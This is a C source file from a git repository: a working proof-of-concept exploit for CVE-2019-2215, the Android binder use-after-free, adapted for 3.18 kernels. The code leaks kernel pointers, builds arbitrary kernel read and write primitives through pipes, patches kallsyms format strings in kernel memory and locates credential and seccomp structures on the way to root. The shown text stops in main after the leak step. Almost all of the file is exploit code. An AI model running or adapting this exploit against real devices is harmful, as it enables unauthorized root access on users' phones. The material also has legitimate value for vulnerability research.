better search for thread_info
[cve2019-2215-3.18.git] / su98-memory-kallsyms.c
blobb0d46b3d220c50d72944eedd7521ff995c337bff
1 /*
2 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
3 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
5 * Jann Horn & Maddie Stone of Google Project Zero
6 * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019)
7 * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98
9 * October 2019
12 // $ uname -a
13 // Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64
14 #define KERNEL_BASE 0xffffffc000080000ul
15 #define OFFSET__thread_info__flags 0x000
16 #define OFFSET__task_struct__stack 0x008
17 #define OFFSET__cred__uid 0x004
18 #define OFFSET__cred__securebits 0x024
19 #define OFFSET__cred__cap_permitted 0x030
20 #define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008)
21 #define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010)
23 #define BINDER_SET_MAX_THREADS 0x40046205ul
24 #define MAX_THREADS 3
26 #define RETRIES 3
28 #define NO_PROC_KALLSYMS
29 #undef KALLSYMS_CACHING
30 #define KSYM_NAME_LEN 128
32 //Not needed, but saved for future use; the offsets are for LGV20 LS998
33 //#define OFFSET__task_struct__seccomp 0x9b0
34 //#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster
35 //#define OFFSET__task_struct__cred 0x550
36 #define OFFSET__cred__security 0x078
37 #define OFFSET__cred__cap_inheritable 0x028
38 #define OFFSET__cred__cap_ambient 0x048
39 //#define OFFSET__task_struct__mm 0x308
42 #define _GNU_SOURCE
43 #include <time.h>
44 #include <stdbool.h>
45 #include <sys/mman.h>
46 #include <sys/wait.h>
47 #include <ctype.h>
48 #include <sys/uio.h>
49 #include <err.h>
50 #include <sched.h>
51 #include <fcntl.h>
52 #include <sys/epoll.h>
53 #include <sys/ioctl.h>
54 #include <unistd.h>
55 #include <stdio.h>
56 #include <stdlib.h>
57 #include <linux/sched.h>
58 #include <string.h>
59 #include <sys/prctl.h>
60 #include <sys/socket.h>
61 #include <sys/un.h>
62 #include <errno.h>
64 #define DELAY_USEC 500000
66 #define MIN(x, y) ((x) < (y) ? (x) : (y))
67 #define MAX(x, y) ((x) > (y) ? (x) : (y))
69 #define BINDER_THREAD_EXIT 0x40046208ul
70 // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
71 #define BINDER_THREAD_SZ 0x188
72 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
73 #define WAITQUEUE_OFFSET (0x98)
74 #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
75 #define UAF_SPINLOCK 0x10001
76 #define PAGE 0x1000ul
77 #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8
79 int quiet = 0;
81 int have_kallsyms = 0;
82 int kernel3 = 1;
84 struct kallsyms {
85 unsigned long addresses;
86 unsigned long names;
87 unsigned long num_syms;
88 unsigned long token_table;
89 unsigned long markers;
90 char* token_table_data;
91 unsigned short token_index_data[256];
92 } kallsyms;
94 void message(char *fmt, ...)
96 if (quiet)
97 return;
98 va_list ap;
99 va_start(ap, fmt);
100 vprintf(fmt, ap);
101 va_end(ap);
102 putchar('\n');
105 void error(char* fmt, ...)
107 va_list ap;
108 va_start(ap, fmt);
109 vfprintf(stderr, fmt, ap);
110 va_end(ap);
111 fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error");
112 exit(1);
115 int isKernelPointer(unsigned long p) {
116 return p >= KERNEL_BASE;
119 unsigned long kernel_read_ulong(unsigned long kaddr);
121 void hexdump_memory(void *_buf, size_t byte_count)
123 unsigned char *buf = _buf;
124 unsigned long byte_offset_start = 0;
125 if (byte_count % 16)
126 error( "hexdump_memory called with non-full line");
127 for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
128 byte_offset += 16)
130 char line[1000];
131 char *linep = line;
132 linep += sprintf(linep, "%08lx ", byte_offset);
133 for (int i = 0; i < 16; i++)
135 linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
137 linep += sprintf(linep, " |");
138 for (int i = 0; i < 16; i++)
140 char c = buf[byte_offset + i];
141 if (isalnum(c) || ispunct(c) || c == ' ')
143 *(linep++) = c;
145 else
147 *(linep++) = '.';
150 linep += sprintf(linep, "|");
151 puts(line);
155 int epfd;
157 int binder_fd;
159 unsigned long iovec_size(struct iovec *iov, int n)
161 unsigned long sum = 0;
162 for (int i = 0; i < n; i++)
163 sum += iov[i].iov_len;
164 return sum;
167 unsigned long iovec_max_size(struct iovec *iov, int n)
169 unsigned long m = 0;
170 for (int i = 0; i < n; i++)
172 if (iov[i].iov_len > m)
173 m = iov[i].iov_len;
175 return m;
178 int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength)
180 int dummyBufferSize = MAX(UAF_SPINLOCK, PAGE);
181 char *dummyBuffer = malloc(dummyBufferSize);
182 if (dummyBuffer == NULL)
183 error( "allocating dummyBuffer");
185 memset(dummyBuffer, 0, dummyBufferSize);
187 message("PARENT: clobbering at 0x%lx", payloadAddress);
189 struct epoll_event event = {.events = EPOLLIN};
190 int max_threads = 2;
191 ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
192 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event))
193 error( "epoll_add");
195 unsigned long testDatum = 0;
196 unsigned long const testValue = 0xABCDDEADBEEF1234ul;
198 struct iovec iovec_array[IOVEC_ARRAY_SZ];
199 memset(iovec_array, 0, sizeof(iovec_array));
201 const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS = 3;
203 unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = {
204 (unsigned long)dummyBuffer,
205 /* iov_base (currently in use) */ // wq->task_list->next
206 SECOND_WRITE_CHUNK_IOVEC_ITEMS * 0x10,
207 /* iov_len (currently in use) */ // wq->task_list->prev
209 payloadAddress, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
210 payloadLength,
212 (unsigned long)&testDatum,
213 sizeof(testDatum),
216 int delta = (UAF_SPINLOCK + sizeof(second_write_chunk)) % PAGE;
217 int paddingSize = delta == 0 ? 0 : PAGE - delta;
219 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = dummyBuffer;
220 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize;
221 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummyBuffer;
222 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK
223 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = second_write_chunk; // wq->task_list->next: will turn to payloadAddress of task_list
224 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to payloadAddress of task_list
225 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dummyBuffer; // stuff from this point will be overwritten and/or ignored
226 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK;
227 iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_base = dummyBuffer;
228 iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_len = payloadLength;
229 iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_base = dummyBuffer;
230 iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_len = sizeof(testDatum);
231 int totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
233 int pipes[2];
234 pipe(pipes);
235 if ((fcntl(pipes[0], F_SETPIPE_SZ, PAGE)) != PAGE)
236 error( "pipe size");
237 if ((fcntl(pipes[1], F_SETPIPE_SZ, PAGE)) != PAGE)
238 error( "pipe size");
240 pid_t fork_ret = fork();
241 if (fork_ret == -1)
242 error( "fork");
243 if (fork_ret == 0)
245 /* Child process */
246 prctl(PR_SET_PDEATHSIG, SIGKILL);
247 usleep(DELAY_USEC);
248 message("CHILD: Doing EPOLL_CTL_DEL.");
249 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
250 message("CHILD: Finished EPOLL_CTL_DEL.");
252 char *f = malloc(totalLength);
253 if (f == NULL)
254 error( "Allocating memory");
255 memset(f, 0, paddingSize + UAF_SPINLOCK);
256 unsigned long pos = paddingSize + UAF_SPINLOCK;
257 memcpy(f + pos, second_write_chunk, sizeof(second_write_chunk));
258 pos += sizeof(second_write_chunk);
259 memcpy(f + pos, src, payloadLength);
260 pos += payloadLength;
261 memcpy(f + pos, &testValue, sizeof(testDatum));
262 pos += sizeof(testDatum);
263 write(pipes[1], f, pos);
264 message("CHILD: wrote %lu", pos);
265 close(pipes[1]);
266 close(pipes[0]);
267 exit(0);
270 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
271 int b = readv(pipes[0], iovec_array, IOVEC_ARRAY_SZ);
273 message("PARENT: readv returns %d, expected %d", b, totalLength);
275 if (testDatum != testValue)
276 message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue);
277 else
278 message("PARENT: clobbering test passed");
280 free(dummyBuffer);
281 close(pipes[0]);
282 close(pipes[1]);
284 return testDatum == testValue;
287 int leak_data(void *leakBuffer, int leakAmount,
288 unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount,
289 unsigned long *task_struct_ptr_p, unsigned long *kstack_p)
291 unsigned long const minimumLeak = TASK_STRUCT_OFFSET_FROM_TASK_LIST + 8;
292 unsigned long adjLeakAmount = MAX(leakAmount, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough
294 int success = 1;
296 struct epoll_event event = {.events = EPOLLIN};
297 int max_threads = 2;
298 ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
299 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event))
300 error( "epoll_add");
302 struct iovec iovec_array[IOVEC_ARRAY_SZ];
304 memset(iovec_array, 0, sizeof(iovec_array));
306 int delta = (UAF_SPINLOCK + minimumLeak) % PAGE;
307 int paddingSize = (delta == 0 ? 0 : PAGE - delta) + PAGE;
309 iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_base = (unsigned long *)0xDEADBEEF;
310 iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_len = PAGE;
311 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = (unsigned long *)0xDEADBEEF;
312 iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize - PAGE;
313 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = (unsigned long *)0xDEADBEEF;
314 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */
315 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->task_list->next */
316 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = adjLeakAmount; /* wq->task_list->prev */
317 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (unsigned long *)0xDEADBEEF; // we shouldn't get to here
318 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = extraLeakAmount + UAF_SPINLOCK + 8;
319 unsigned long totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
320 unsigned long maxLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
321 unsigned char *dataBuffer = malloc(maxLength);
323 if (dataBuffer == NULL)
324 error( "Allocating %ld bytes", maxLength);
326 for (int i = 0; i < IOVEC_ARRAY_SZ; i++)
327 if (iovec_array[i].iov_base == (unsigned long *)0xDEADBEEF)
328 iovec_array[i].iov_base = dataBuffer;
330 int b;
331 int pipefd[2];
332 int leakPipe[2];
333 if (pipe(pipefd))
334 error( "pipe");
335 if (pipe(leakPipe))
336 err(2, "pipe");
337 if ((fcntl(pipefd[0], F_SETPIPE_SZ, PAGE)) != PAGE)
338 error( "pipe size");
339 if ((fcntl(pipefd[1], F_SETPIPE_SZ, PAGE)) != PAGE)
340 error( "pipe size");
342 pid_t fork_ret = fork();
343 if (fork_ret == -1)
344 error( "fork");
345 if (fork_ret == 0)
347 /* Child process */
348 char childSuccess = 1;
350 prctl(PR_SET_PDEATHSIG, SIGKILL);
351 usleep(DELAY_USEC);
352 message("CHILD: Doing EPOLL_CTL_DEL.");
353 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
354 message("CHILD: Finished EPOLL_CTL_DEL.");
356 unsigned long size1 = paddingSize + UAF_SPINLOCK + minimumLeak;
357 message("CHILD: initial portion length 0x%lx", size1);
358 char buffer[size1];
359 memset(buffer, 0, size1);
360 if (read(pipefd[0], buffer, size1) != size1)
361 error( "reading first part of pipe");
363 memcpy(dataBuffer, buffer + size1 - minimumLeak, minimumLeak);
365 int badPointer = 0;
366 if (memcmp(dataBuffer, dataBuffer + 8, 8))
367 badPointer = 1;
368 unsigned long addr = 0;
369 memcpy(&addr, dataBuffer, 8);
371 if (!isKernelPointer(addr)) {
372 badPointer = 1;
373 childSuccess = 0;
376 unsigned long task_struct_ptr = 0;
378 memcpy(&task_struct_ptr, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8);
379 message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr);
381 if (!badPointer && (extraLeakAmount > 0 || kstack_p != NULL))
383 unsigned long extra[6] = {
384 addr,
385 adjLeakAmount,
386 extraLeakAddress,
387 extraLeakAmount,
388 task_struct_ptr + 8,
390 message("CHILD: clobbering with extra leak structures");
391 if (clobber_data(addr, &extra, sizeof(extra)))
392 message("CHILD: clobbered");
393 else {
394 message("CHILD: **fail** iovec clobbering didn't work");
395 childSuccess = 0;
399 errno = 0;
400 if (read(pipefd[0], dataBuffer + minimumLeak, adjLeakAmount - minimumLeak) != adjLeakAmount - minimumLeak)
401 error("leaking");
403 write(leakPipe[1], dataBuffer, adjLeakAmount);
405 if (extraLeakAmount > 0)
407 message("CHILD: extra leak");
408 if (read(pipefd[0], extraLeakBuffer, extraLeakAmount) != extraLeakAmount) {
409 childSuccess = 0;
410 error( "extra leaking");
412 write(leakPipe[1], extraLeakBuffer, extraLeakAmount);
413 //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16);
415 if (kstack_p != NULL)
417 if (read(pipefd[0], dataBuffer, 8) != 8) {
418 childSuccess = 0;
419 error( "leaking kstack");
421 message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer);
422 write(leakPipe[1], dataBuffer, 8);
424 write(leakPipe[1], &childSuccess, 1);
426 close(pipefd[0]);
427 close(pipefd[1]);
428 close(leakPipe[0]);
429 close(leakPipe[1]);
430 message("CHILD: Finished write to FIFO.");
432 if (badPointer) {
433 errno = 0;
434 message("CHILD: **fail** problematic address pointer, e.g., %lx", addr);
436 exit(0);
438 message("PARENT: soon will be calling WRITEV");
439 errno = 0;
440 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
441 b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
442 message("PARENT: writev() returns 0x%x", (unsigned int)b);
443 if (b != totalLength) {
444 message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength);
445 success = 0;
446 goto DONE;
449 message("PARENT: Reading leaked data");
451 b = read(leakPipe[0], dataBuffer, adjLeakAmount);
452 if (b != adjLeakAmount) {
453 message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount);
454 success = 0;
455 goto DONE;
458 if (leakAmount > 0)
459 memcpy(leakBuffer, dataBuffer, leakAmount);
461 if (extraLeakAmount != 0)
463 message("PARENT: Reading extra leaked data");
464 b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount);
465 if (b != extraLeakAmount) {
466 message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b, extraLeakAmount);
467 success = 0;
468 goto DONE;
472 if (kstack_p != NULL)
474 if (read(leakPipe[0], kstack_p, 8) != 8) {
475 message( "PARENT: **fail** reading leaked kstack");
476 success = 0;
477 goto DONE;
481 char childSucceeded=0;
483 read(leakPipe[0], &childSucceeded, 1);
484 if (!childSucceeded)
485 success = 0;
488 if (task_struct_ptr_p != NULL)
489 memcpy(task_struct_ptr_p, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8);
491 DONE:
492 close(pipefd[0]);
493 close(pipefd[1]);
494 close(leakPipe[0]);
495 close(leakPipe[1]);
497 int status;
498 wait(&status);
499 //if (wait(&status) != fork_ret) error( "wait");
501 free(dataBuffer);
503 if (success)
504 message("PARENT: leaking successful");
506 return success;
509 int kernel_rw_pipe[2];
511 struct kernel_buffer {
512 unsigned char pageBuffer[PAGE];
513 unsigned long pageBufferOffset;
514 } kernel_buffer = { .pageBufferOffset = 0 };
516 void reset_kernel_pipes()
518 kernel_buffer.pageBufferOffset = 0;
519 close(kernel_rw_pipe[0]);
520 close(kernel_rw_pipe[1]);
521 if (pipe(kernel_rw_pipe))
522 error( "kernel_rw_pipe");
525 int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len)
527 if (len > PAGE)
528 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
529 if (write(kernel_rw_pipe[1], buf, len) != len ||
530 read(kernel_rw_pipe[0], (void *)kaddr, len) != len)
532 reset_kernel_pipes();
533 return 0;
535 return len;
538 void kernel_write(unsigned long kaddr, void *buf, unsigned long len)
540 if (len != raw_kernel_write(kaddr, buf, len))
541 error( "error with kernel writing");
544 int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len)
546 if (len > PAGE)
547 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
548 if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len)
550 reset_kernel_pipes();
551 return 0;
553 return len;
556 void kernel_read(unsigned long kaddr, void *buf, unsigned long len)
558 if (len > PAGE)
559 error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
560 if (len != raw_kernel_read(kaddr, buf, len))
561 error( "error with kernel reading");
564 unsigned char kernel_read_uchar(unsigned long offset) {
565 if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+PAGE <= offset) {
566 kernel_buffer.pageBufferOffset = offset & ~(PAGE-1);
567 kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, PAGE);
569 return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset];
572 unsigned long kernel_read_ulong(unsigned long kaddr)
574 unsigned long data;
575 kernel_read(kaddr, &data, sizeof(data));
576 return data;
578 unsigned long kernel_read_uint(unsigned long kaddr)
580 unsigned int data;
581 kernel_read(kaddr, &data, sizeof(data));
582 return data;
584 void kernel_write_ulong(unsigned long kaddr, unsigned long data)
586 kernel_write(kaddr, &data, sizeof(data));
588 void kernel_write_uint(unsigned long kaddr, unsigned int data)
590 kernel_write(kaddr, &data, sizeof(data));
592 void kernel_write_uchar(unsigned long kaddr, unsigned char data)
594 kernel_write(kaddr, &data, sizeof(data));
598 // Make the kallsyms module not check for permission to list symbol addresses
599 int fixKallsymsFormatStrings(unsigned long start)
601 errno = 0;
603 int found = 0;
605 start &= ~(PAGE - 1);
607 unsigned long searchTarget;
609 memcpy(&searchTarget, "%pK %c %", 8);
611 int backwards = 1;
612 int forwards = 1;
613 int direction = 1;
614 unsigned long forwardAddress = start;
615 unsigned long backwardAddress = start - PAGE;
616 unsigned long page[PAGE / 8];
618 message("MAIN: searching for kallsyms format strings");
620 while ((backwards || forwards) && found < 2)
622 unsigned long address = direction > 0 ? forwardAddress : backwardAddress;
624 if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, PAGE) != PAGE)
626 if (direction > 0)
627 forwards = 0;
628 else
629 backwards = 0;
631 else
633 for (int i = 0; i < PAGE / 8; i++)
634 if (page[i] == searchTarget)
636 unsigned long a = address + 8 * i;
638 char fmt[16];
640 kernel_read(a, fmt, 16);
642 if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A"))
644 found++;
645 kernel_write(a, "%p %c %s\t[%s]\x0A", 15);
646 message("MAIN: patching longer version at %lx", a);
648 else if (!strcmp(fmt, "%pK %c %s\x0A"))
650 found++;
651 kernel_write(a, "%p %c %s\x0A", 10);
652 message("MAIN: patching shorter version at %lx", a);
655 if (found >= 2)
656 return 2;
660 if (direction > 0)
661 forwardAddress += PAGE;
662 else
663 backwardAddress -= PAGE;
665 direction = -direction;
667 if (direction < 0 && !backwards)
669 direction = 1;
671 else if (direction > 0 && !forwards)
673 direction = -1;
677 return found;
680 int verifyCred(unsigned long cred_ptr) {
681 unsigned uid;
682 if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4))
683 return 0;
684 return uid == getuid();
687 int getCredOffset(unsigned char* task_struct_data, char* execName) {
688 char taskname[16];
689 char* p = strrchr(execName, '/');
690 if (p == NULL)
691 p = execName;
692 else
693 p++;
694 unsigned n = MIN(strlen(p)+1, 16);
695 memcpy(taskname, p, n);
696 taskname[15] = 0;
698 for (int i=OFFSET__task_struct__stack+8; i<PAGE-16; i+=8) {
699 if (0 == memcmp(task_struct_data+i, taskname, n) && verifyCred(*(unsigned long*)(task_struct_data+i-8)))
700 return i-8;
703 errno=0;
704 error("Cannot find cred structure");
705 return -1;
708 int getSeccompOffset(unsigned char* task_struct_data, unsigned credOffset, unsigned seccompStatus) {
709 if (seccompStatus != 2)
710 return -1;
712 unsigned long firstGuess = -1;
714 for (int i=credOffset&~7; i<PAGE-24; i+=8) {
715 struct {
716 unsigned long seccomp_status;
717 unsigned long seccomp_filter;
718 unsigned int parent_exe;
719 unsigned int child_exe;
720 } *p = (void*)(task_struct_data+i);
722 if (p->seccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) {
723 if (p->child_exe == p->parent_exe + 1) {
724 return i;
726 else {
727 if (firstGuess < 0)
728 firstGuess = i;
733 return firstGuess;
736 unsigned long countIncreasingEntries(unsigned long start) {
737 unsigned long count = 1;
738 unsigned long prev = kernel_read_ulong(start);
739 do {
740 start += 8;
741 unsigned long v = kernel_read_ulong(start);
742 if (v < prev)
743 return count;
744 count++;
745 } while(1);
748 int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) {
749 if (searchStart == 0)
750 searchStart = KERNEL_BASE;
751 if (searchEnd == 0)
752 searchEnd = searchStart + 0x4000000;
753 unsigned long foundStart = 0;
755 unsigned char page[PAGE];
756 for (unsigned long i=searchStart; i<searchEnd ; i+=PAGE) {
757 kernel_read(i, page, PAGE);
758 for (int j=0; j<PAGE; j+=0x100) {
759 if (*(unsigned long*)(page+j)==KERNEL_BASE) {
760 unsigned long count = countIncreasingEntries(i+j);
761 if (count > 50000) {
762 *startP = i+j;
763 *countP = count;
764 return 1;
769 return 0;
772 int get_kallsym_name(unsigned long offset, char* name) {
773 unsigned char length = kernel_read_uchar(offset++);
775 for (unsigned char i = 0; i < length ; i++) {
776 int index = kallsyms.token_index_data[kernel_read_uchar(offset++)];
777 int n = strlen(kallsyms.token_table_data+index);
778 memcpy(name, kallsyms.token_table_data+index, n);
779 name += n;
781 *name = 0;
783 return 1+length;
786 int loadKallsyms() {
787 if (have_kallsyms)
789 return 1;
790 if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms))
791 return 0;
793 message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms);
794 unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms;
796 message("MAIN: kallsyms names end at 0x%lx", offset);
797 struct kernel_buffer buf = {.pageBufferOffset = 0};
799 offset = (offset + 0xFFul) & ~0xFFul;
801 unsigned long count = kernel_read_ulong(offset);
802 offset += 8;
804 if (count != kallsyms.num_syms) {
805 message("MAIN: **fail** kallsym entry count mismatch %ld", count);
808 offset = (offset + 0xFFul) & ~0xFFul;
810 kallsyms.names = offset;
812 for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) {
813 unsigned char len = kernel_read_uchar(offset++);
814 offset += len;
817 offset = (offset + 0xFF) & ~0xFFul;
819 kallsyms.markers = offset;
821 offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul);
823 offset = (offset + 0xFF) & ~0xFFul;
825 kallsyms.token_table = offset;
827 int tokens = 0;
829 while (tokens < 256) {
830 if (kernel_read_uchar(offset++) == 0)
831 tokens++;
834 unsigned long token_table_length = offset - kallsyms.token_table;
836 kallsyms.token_table_data = malloc(token_table_length);
838 errno = 0;
839 if (kallsyms.token_table_data == NULL)
840 error("allocating token table");
842 for (unsigned long i = 0 ; i < token_table_length ; i++)
843 kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i);
845 offset = (offset + 0xFF) & ~0xFFul;
847 kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data));
849 have_kallsyms = 1;
851 return 1;
854 unsigned long findSymbol_memory_search(char* symbol) {
855 message("MAIN: searching for kallsyms table");
856 if (! loadKallsyms()) {
857 message("MAIN: **fail** cannot find kallsyms table");
860 unsigned long offset = kallsyms.names;
861 char name[KSYM_NAME_LEN];
863 for(unsigned long i = 0; i < kallsyms.num_syms; i++) {
864 unsigned int n = get_kallsym_name(offset, name);
865 if (!strcmp(name+1, symbol)) {
866 message( "found symbol in kernel memory", symbol);
868 return kernel_read_ulong(kallsyms.addresses + i*8);
870 offset += n;
873 return 0;
876 char* allocateSymbolCachePathName(char* execName, char* symbol) {
877 char* p = strrchr(execName, '/');
878 unsigned n;
879 if (p == NULL)
880 n = 0;
881 else
882 n = p-execName+1;
884 char* pathname = malloc(strlen(symbol)+7+1+n);
885 if (pathname == NULL) {
886 errno = 0;
887 error("allocating memory for pathname");
889 strncpy(pathname, execName, n);
890 pathname[n] = 0;
891 strcat(pathname, symbol);
892 strcat(pathname, ".symbol");
894 return pathname;
897 unsigned long findSymbol_in_cache(char* execName, char* symbol) {
898 char* pathname = allocateSymbolCachePathName(execName, symbol);
899 unsigned long address = 0;
901 FILE *cached = fopen(pathname, "r");
902 if (cached != NULL) {
903 fscanf(cached, "%lx", &address);
904 fclose(cached);
907 free(pathname);
909 return address;
912 void cacheSymbol(char* execName, char* symbol, unsigned long address) {
913 #ifdef KALLSYMS_CACHING
914 if (address != 0 && address != findSymbol_in_cache(execName, symbol)) {
915 char* pathname = allocateSymbolCachePathName(execName, symbol);
916 FILE *cached = fopen(pathname, "w");
917 if (cached != NULL) {
918 fprintf(cached, "%lx\n", address);
919 fclose(cached);
920 char* cmd = alloca(10+strlen(pathname)+1);
921 sprintf(cmd, "chmod 666 %s", pathname);
922 system(cmd);
923 message("cached %s", pathname);
925 free(pathname);
927 #endif
930 unsigned long findSymbol(char* execName, unsigned long pointInKernelMemory, char *symbol)
932 unsigned long address = 0;
934 #ifdef KALLSYMS_CACHING
935 address = findSymbol_in_cache(execName, symbol);
936 if (address != 0)
937 return address;
938 #endif
940 #ifdef NO_PROC_KALLSYMS
941 address = findSymbol_memory_search(symbol);
942 #else
943 char buf[1024];
944 buf[0] = 0;
945 errno = 0;
947 FILE *ks = fopen("/proc/kallsyms", "r");
948 if (ks == NULL) {
949 return findSymbol_memory_search(symbol);
951 fgets(buf, 1024, ks);
952 if (ks != NULL)
953 fclose(ks);
955 if ( (buf[0] == 0 || strncmp(buf, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory) == 0)
957 message( "MAIN: **partial failure** cannnot fix kallsyms format string");
958 address = findSymbol_memory_search(symbol);
960 else {
961 ks = fopen("/proc/kallsyms", "r");
962 while (NULL != fgets(buf, sizeof(buf), ks))
964 unsigned long a;
965 unsigned char type;
966 char sym[1024];
967 sscanf(buf, "%lx %c %s", &a, &type, sym);
968 if (!strcmp(sym, symbol)) {
969 message( "found %s in /proc/kallsyms", sym);
970 address = a;
971 break;
975 fclose(ks);
977 #endif
979 return address;
982 void checkKernelVersion() {
983 kernel3 = 1;
984 FILE *k = fopen("/proc/version", "r");
985 if (k != NULL) {
986 char buf[1024]="";
987 fgets(buf, sizeof(buf), k);
988 if (NULL != strstr(buf, "Linux version 4"))
989 kernel3 = 0;
991 if (kernel3) message("MAIN: detected kernel version 3");
992 else message("MAIN: detected kernel version other than 3");
995 int main(int argc, char **argv)
997 if (argc >= 2)
998 quiet = 1;
1000 if (argc >= 2) {
1001 if (0 == strcmp(argv[1], "-quiet")) {
1002 quiet = 1;
1003 for (int i=1; i<argc-1; i++)
1004 argv[i] = argv[i+1];
1005 argc--;
1009 checkKernelVersion();
1011 message("MAIN: starting exploit for devices with waitqueue at 0x98");
1013 if (pipe(kernel_rw_pipe))
1014 error( "kernel_rw_pipe");
1016 binder_fd = open("/dev/binder", O_RDONLY);
1017 epfd = epoll_create(1000);
1019 unsigned long kstack = 0xDEADBEEFDEADBEEFul;
1020 unsigned long task_struct_ptr = 0xDEADBEEFDEADBEEFul;
1021 int try = 0;
1022 while (try < RETRIES && !leak_data(NULL, 0, 0, NULL, 0, &task_struct_ptr, &kstack)) {
1023 message("MAIN: **fail** retrying");
1024 try++;
1026 if (try == RETRIES) {
1027 error("Failed to leak data");
1029 else if (try > 0) {
1030 message("MAIN: took %d tries but did it", try);
1033 unsigned long thread_info_ptr = kernel3 ? kstack : task_struct_ptr;
1035 message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr);
1036 if (kernel3)
1037 message("MAIN: stack = %lx", kstack);
